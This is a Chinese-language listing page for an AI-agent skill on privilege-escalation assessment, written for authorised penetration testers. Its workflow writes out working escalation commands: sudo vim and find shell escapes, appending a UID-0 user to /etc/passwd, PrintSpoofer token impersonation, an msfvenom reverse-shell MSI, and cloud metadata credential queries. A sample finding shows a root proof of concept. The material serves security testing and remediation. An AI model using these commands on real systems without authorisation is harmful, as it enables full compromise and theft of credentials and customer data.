关于 performing-privilege-escalation-assessment
面向获授权渗透测试人员的本地提权评估技能,涵盖 Linux、Windows、容器与云环境的枚举、路径验证及影响记录。
主要功能
- 01枚举 Linux 与 Windows 系统
- 02检查常见本地提权路径
- 03评估容器与云环境风险
- 04记录攻击路径和业务影响
适用场景
- 01渗透测试中验证从低权限到高权限的路径
- 02检查 Linux 或 Windows 服务器加固情况
- 03评估 EDR 与最小权限策略的效果
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill performing-privilege-escalation-assessment安装后在 Claude Code 中输入/performing-privilege-escalation-assessment确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdscripts/agent.py详细介绍
执行权限提升评估
何时使用
- 在渗透测试中获得初始低权限访问后,用于演示完整的系统沦陷
- 评估 Linux 和 Windows 服务器针对本地权限提升攻击的安全加固情况
- 评估端点检测与响应(EDR)工具是否能检测常见的权限提升技术
- 测试端点上最小权限策略和应用程序白名单的有效性
- 验证容器逃逸和虚拟机逃逸控制措施是否正确配置
请勿使用:在未经书面授权的情况下、针对可能因漏洞利用导致停机的生产系统,或在未事先获得批准且不具备回滚能力的情况下在系统上部署内核漏洞利用程序。
前提条件
- 通过授权方式获得的针对目标系统的低权限 shell 访问(反向 shell、SSH、RDP)
- 权限提升枚举脚本:linPEAS(Linux)、winPEAS(Windows)、Linux Smart Enumeration(LSE)
- 针对常见 CVE 的已编译内核漏洞利用程序,或对目标上编译工具的访问权限
- 用于 Linux SUID/sudo 二进制滥用的 GTFOBins 参考,以及用于 Windows 就地取材二进制的 LOLBAS 参考
- 如果目标上无法进行编译,则需为目标架构准备预编译的后渗透二进制文件
工作流
步骤 1:系统枚举
收集有关目标系统的全面信息:
Linux 枚举:
id && whoami- 当前用户及组成员身份uname -a- 用于识别内核漏洞利用的内核版本cat /etc/os-release- 发行版及版本sudo -l- 当前用户可通过 sudo 以 root 身份运行的命令find / -perm -4000 -type f 2>/dev/null- SUID 二进制文件find / -perm -2000 -type f 2>/dev/null- SGID 二进制文件crontab -l && ls -la /etc/cron*- 以 root 身份运行的计划任务ps aux | grep root- 以 root 身份运行的进程cat /etc/passwd- 用户账户(查找其他 UID 为 0 的用户)find / -writable -type d 2>/dev/null- 全局可写目录- 运行
linpeas.sh进行自动化全面枚举
Windows 枚举:
whoami /priv- 当前用户权限(查找 SeImpersonatePrivilege、SeDebugPrivilege)systeminfo- 操作系统版本、补丁级别、架构wmic service get name,pathname,startmode- 未加引号的服务路径icacls "C:\Program Files" /T- Program Files 中的可写目录reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated- AlwaysInstallElevated 检查cmdkey /list- 存储的 Windows 凭据schtasks /query /fo LIST /v- 计划任务及其运行账户- 运行
winPEAS.exe进行自动化全面枚举
第 2 步:Linux 提权向量
系统地测试已识别的提权向量:
- Sudo 配置错误:如果
sudo -l显示类似(ALL) NOPASSWD: /usr/bin/vim的条目,使用 GTFOBins 进行提权:sudo vim -c ':!/bin/bash'以生成 root shell- 常见危险 sudo 条目:vim、less、find、nmap、python、perl、ruby、awk、env
- SUID 二进制滥用:如果发现允许任意命令执行、shell 逃逸或文件读取的 SUID 二进制:
- 自定义 SUID:检查自定义 SUID 二进制是否在不使用绝对路径的情况下调用其他程序(PATH 注入)
- 已知 SUID:检查 GTFOBins 以了解标准 SUID 二进制的利用方法
- Cron 任务利用:如果 cron 任务运行当前用户可写的脚本,或从可写目录运行脚本:
- 修改脚本以添加反向 shell 或 bash 的 SUID 副本
- 基于 PATH 的 cron 利用:如果 cron 任务在不使用绝对路径的情况下调用命令,且 PATH 可写
- 内核漏洞利用:将内核版本与已知漏洞匹配:
- DirtyPipe(CVE-2022-0847):Linux 内核 5.8-5.16.11
- DirtyCow(CVE-2016-5195):Linux 内核 2.6.22-4.8.3
- PwnKit(CVE-2021-4034):影响大多数 Linux 发行版的 Polkit pkexec 漏洞
- Capabilities 滥用:
getcap -r / 2>/dev/null以查找具有提升 capabilities(cap_setuid、cap_dac_override)的二进制 - 可写的 /etc/passwd:如果 /etc/passwd 可写,添加新的 root 用户:
echo 'newroot:$1$hash:0:0::/root:/bin/bash' >> /etc/passwd
第 3 步:Windows 提权向量
测试 Windows 特有的提权路径:
- 令牌模拟:如果用户具有
SeImpersonatePrivilege(服务账户和 IIS 常见):- 使用
JuicyPotato.exe、PrintSpoofer.exe或GodPotato.exe模拟 SYSTEM PrintSpoofer.exe -i -c "cmd /c whoami"->NT AUTHORITY\SYSTEM
- 使用
- 未加引号的服务路径:如果服务具有包含空格的未加引号路径(例如
C:\Program Files\My App\service.exe),且你可以写入中间目录:- 将恶意可执行文件放置在
C:\Program Files\My.exe,服务重启时将执行该文件
- 将恶意可执行文件放置在
- 可写的服务二进制:如果你可以修改以 SYSTEM 运行的服务可执行文件:
- 将二进制替换为反向 shell 并重启服务
- AlwaysInstallElevated:如果 HKLM 和 HKCU 的 AlwaysInstallElevated 注册表键均设置为 1:
- 生成恶意 MSI:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f msi -o shell.msi - 以提升权限安装:
msiexec /quiet /qn /i shell.msi
- 生成恶意 MSI:
- 存储的凭据:检查
cmdkey /list、AutoLogon 注册表键、unattend.xml、web.config 文件和 PowerShell 历史记录中的凭据 - DLL 劫持:识别从可写目录加载 DLL 的服务。使用 Process Monitor 查找缺失的 DLL 加载,然后放置恶意 DLL。
- 计划任务:查找以 SYSTEM 运行且脚本或二进制可写的任务
第 4 步:容器与云提权
测试容器化和云环境中的提权路径:
- Docker 逃逸:检查容器是否以特权模式(
--privileged)运行、是否挂载了 Docker socket(/var/run/docker.sock),或是否具有SYS_ADMINcapability - Kubernetes pod 提权:检查具有 cluster-admin 权限的服务账户令牌、hostPID/hostNetwork 命名空间或 hostPath 卷挂载
- 云元数据:从受入侵的主机访问云实例元数据(
http://169.254.169.254/latest/meta-data/),以发现 IAM 角色、凭据和实例信息 - IAM 角色滥用:如果发现云凭据,枚举 IAM 权限并通过 IAM 策略操纵测试提权
第 5 步:文档记录与影响评估
记录完整的提权路径和业务影响:
- 记录提权过程中执行的每一条命令及其时间戳
- 捕获提权访问的证明(显示 root/SYSTEM 的 whoami、访问受限文件)
- 记录在提权后的权限级别下可访问哪些数据或系统
- 将提权技术映射到 MITRE ATT&CK(T1548 - Abuse Elevation Control Mechanism,T1068 - Exploitation for Privilege Escalation)
- 针对每个已识别的提权途径提供具体的修复措施
关键概念
| 术语 | 定义 |
|---|---|
| SUID 二进制文件 | 启用了 Set User ID 位的 Linux 二进制文件,无论由谁运行,都以文件所有者(通常是 root)的权限执行 |
| SeImpersonatePrivilege | 一种 Windows 权限,允许进程模拟另一个用户的安全令牌,常被服务账户滥用从而提权至 SYSTEM |
| 内核漏洞利用 | 针对操作系统内核漏洞的利用,以获取 ring-0 或 root/SYSTEM 级别的访问权限 |
| GTFOBins | 一份经过整理的 Unix 二进制文件列表,当其配置不当时,可被利用进行提权、文件读/写或 shell 逃逸 |
| LOLBAS | Living Off The Land Binaries and Scripts;合法的 Windows 二进制文件,可被滥用于代码执行、文件操作或持久化 |
| DLL 劫持 | 利用 Windows 上的 DLL 搜索顺序,将恶意 DLL 放置在优先于合法 DLL 位置的目录中,从而加载该恶意 DLL |
| 令牌模拟 | 一种 Windows 技术,拥有适当权限的被攻陷进程捕获并使用另一个用户的访问令牌,以该用户身份执行命令 |
工具与系统
- linPEAS / winPEAS:自动化提权枚举脚本,可检查 Linux 和 Windows 上数百个潜在的提权途径
- GTFOBins / LOLBAS:Unix 二进制文件和 Windows 二进制文件的参考数据库,这些二进制文件在配置不当时可被利用进行提权
- PrintSpoofer / GodPotato:Windows 提权工具,利用
SeImpersonatePrivilege从服务账户获取 SYSTEM 级别的访问权限 - Linux Exploit Suggester:将目标内核版本与已知内核漏洞数据库进行比对,以识别适用的漏洞利用的脚本
常见场景
场景:Linux Web 服务器上的提权
背景:在一次渗透测试中,测试人员通过 PHP 文件上传漏洞在 Ubuntu 22.04 Web 服务器上获得了 www-data 的低权限 shell。目标是提权至 root,以证明服务器被完全攻陷。
方法:
- 运行
linpeas.sh,发现www-data可以通过 sudo 免密码以 root 身份运行/usr/bin/find - 使用
sudo -l验证:(root) NOPASSWD: /usr/bin/find - 查阅 GTFOBins 中
find的 sudo 条目:sudo find . -exec /bin/bash -p \; -quit - 执行该命令并获得 root shell
- 以 root 身份访问
/etc/shadow提取密码哈希,从应用配置中读取数据库凭据,并访问包含客户 PII 的 MySQL 数据库 - 记录:以 www-data 初始访问 -> sudo 配置错误 -> root shell -> 数据库访问 -> 可访问 75,000 条客户记录
陷阱:
- 未先在类似系统上测试就运行内核漏洞利用,可能导致内核恐慌和系统崩溃
- 未检查容器环境,在容器环境中表面上的 root 访问可能仅限于容器命名空间
- 忽略从被攻陷主机可访问的云元数据端点,这些端点可能提供 IAM 凭据
- 在检查 sudo 后未能枚举 capabilities 和 SUID 二进制文件,从而遗漏了其他提权路径
输出格式
## Finding: Sudo Misconfiguration Allowing Root Escalation via find
**ID**: PRIV-001
**Severity**: Critical (CVSS 8.8)
**Affected Host**: web-prod-01 (10.10.5.15)
**OS**: Ubuntu 22.04 LTS
**Initial Access**: www-data (via PHP file upload - WEB-004)
**Escalation Technique**: MITRE ATT&CK T1548.003 - Sudo and Sudo Caching
**Description**:
The www-data user is configured in /etc/sudoers to execute /usr/bin/find as root
without a password. The find command supports the -exec flag which can spawn a
root shell, effectively granting www-data unrestricted root access.
**Proof of Concept**:
www-data@web-prod-01:~$ sudo -l
(root) NOPASSWD: /usr/bin/find
www-data@web-prod-01:~$ sudo find . -exec /bin/bash -p \; -quit
root@web-prod-01:~# id
uid=0(root) gid=0(root) groups=0(root)
**Impact**:
Full root access on the production web server. From root, the tester accessed
database credentials in /var/www/app/.env, connected to MySQL, and confirmed
read access to 75,000 customer records including names, emails, and addresses.
**Remediation**:
1. Remove the /usr/bin/find sudo entry for www-data
2. If find access is required, restrict it to specific directories with --no-exec
3. Audit all sudo entries for binaries listed in GTFOBins
4. Implement sudo logging with auditd for all privileged command execution
评论
支持 Markdown